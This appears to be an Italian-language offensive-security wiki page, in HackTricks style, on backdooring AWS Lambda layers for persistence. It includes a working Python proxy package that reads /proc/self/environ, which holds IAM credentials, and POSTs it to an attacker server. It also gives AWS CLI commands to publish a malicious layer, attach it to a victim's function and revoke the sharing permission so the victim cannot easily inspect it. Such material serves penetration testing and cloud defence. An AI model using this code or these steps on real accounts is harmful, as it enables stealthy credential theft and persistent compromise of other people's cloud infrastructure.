# AWS - Persistenza delle Lambda Layers

{{#include ../../../../banners/hacktricks-training.md}}

## Lambda Layers

Una Lambda layer è un archivio .zip che **può contenere codice aggiuntivo** o altro contenuto. Una layer può contenere librerie, un [runtime personalizzato](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dati o file di configurazione.

È possibile includere fino a **cinque layers per funzione**. Quando includi una layer in una funzione, i **contenuti vengono estratti nella directory `/opt`** nell'ambiente di esecuzione.

Per **definizione**, le **layers** che crei sono **private** al tuo account AWS. Puoi scegliere di **condividere** una layer con altri account o di **rendere** la layer **pubblica**. Se le tue funzioni utilizzano una layer pubblicata da un altro account, le tue funzioni possono **continuare a utilizzare la versione della layer dopo che è stata eliminata, o dopo che il tuo permesso di accesso alla layer è stato revocato**. Tuttavia, non puoi creare una nuova funzione o aggiornare funzioni utilizzando una versione di layer eliminata.

Le funzioni distribuite come immagine del contenitore non utilizzano le layers. Invece, impacchetti il tuo runtime preferito, librerie e altre dipendenze nell'immagine del contenitore quando costruisci l'immagine.

### Percorso di caricamento di Python

Il percorso di caricamento che Python utilizzerà in lambda è il seguente:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
Controlla come le **seconda** e terza **posizione** sono occupate da directory dove i **lambda layers** decomprimono i loro file: **`/opt/python/lib/python3.9/site-packages`** e **`/opt/python`**

> [!CAUTION]
> Se un attaccante riesce a **backdoor** un **layer** lambda utilizzato o **aggiungerne uno** che eseguirà **codice arbitrario quando una libreria comune viene caricata**, sarà in grado di eseguire codice malevolo con ogni invocazione di lambda.

Pertanto, i requisiti sono:

- **Controllare le librerie** che sono **caricate** dal codice delle vittime
- Creare una **libreria proxy con lambda layers** che **eseguirà codice personalizzato** e **caricherà la libreria originale**.

### Librerie pre-caricate

> [!WARNING]
> Quando abuso di questa tecnica ho trovato una difficoltà: Alcune librerie sono **già caricate** nel runtime di python quando il tuo codice viene eseguito. Mi aspettavo di trovare cose come `os` o `sys`, ma **anche la libreria `json` era caricata**.\
> Per abusare di questa tecnica di persistenza, il codice deve **caricare una nuova libreria che non è caricata** quando il codice viene eseguito.

Con un codice python come questo è possibile ottenere la **lista delle librerie che sono pre-caricate** all'interno del runtime di python in lambda:
```python
import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
```
E questa è la **lista** (controlla che librerie come `os` o `json` siano già presenti)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
E questa è la lista delle **librerie** che **lambda include installate per impostazione predefinita**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)

### Backdooring del Lambda Layer

In questo esempio supponiamo che il codice target stia importando **`csv`**. Stiamo per **inserire un backdoor nell'importazione della libreria `csv`**.

Per fare ciò, creeremo la directory csv con il file **`__init__.py`** al suo interno in un percorso caricato da lambda: **`/opt/python/lib/python3.9/site-packages`**\
Poi, quando il lambda viene eseguito e cerca di caricare **csv**, il nostro **file `__init__.py` verrà caricato ed eseguito**.\
Questo file deve:

- Eseguire il nostro payload
- Caricare la libreria csv originale

Possiamo fare entrambe le cose con:
```python
import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv
```
Quindi, crea uno zip con questo codice nel percorso **`python/lib/python3.9/site-packages/__init__.py`** e aggiungilo come un layer lambda.

Puoi trovare questo codice in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)

Il payload integrato **invierà le credenziali IAM a un server LA PRIMA VOLTA che viene invocato o DOPO un reset del contenitore lambda** (cambio di codice o lambda a freddo), ma **altre tecniche** come le seguenti potrebbero essere integrate:

{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

### Layer Esterni

Nota che è possibile utilizzare **layer lambda da account esterni**. Inoltre, un lambda può utilizzare un layer da un account esterno anche se non ha permessi.\
Nota anche che il **numero massimo di layer che un lambda può avere è 5**.

Pertanto, per migliorare la versatilità di questa tecnica, un attaccante potrebbe:

- Backdoor un layer esistente dell'utente (niente è esterno)
- **Creare** un **layer** nel **suo account**, dare accesso all'**account vittima** per utilizzare il layer, **configurare** il **layer** nel Lambda della vittima e **rimuovere il permesso**.
- Il **Lambda** sarà ancora in grado di **utilizzare il layer** e la **vittima non avrà** alcun modo semplice per **scaricare il codice dei layer** (a parte ottenere una rev shell all'interno del lambda)
- La vittima **non vedrà i layer esterni** utilizzati con **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
{{#include ../../../../banners/hacktricks-training.md}}
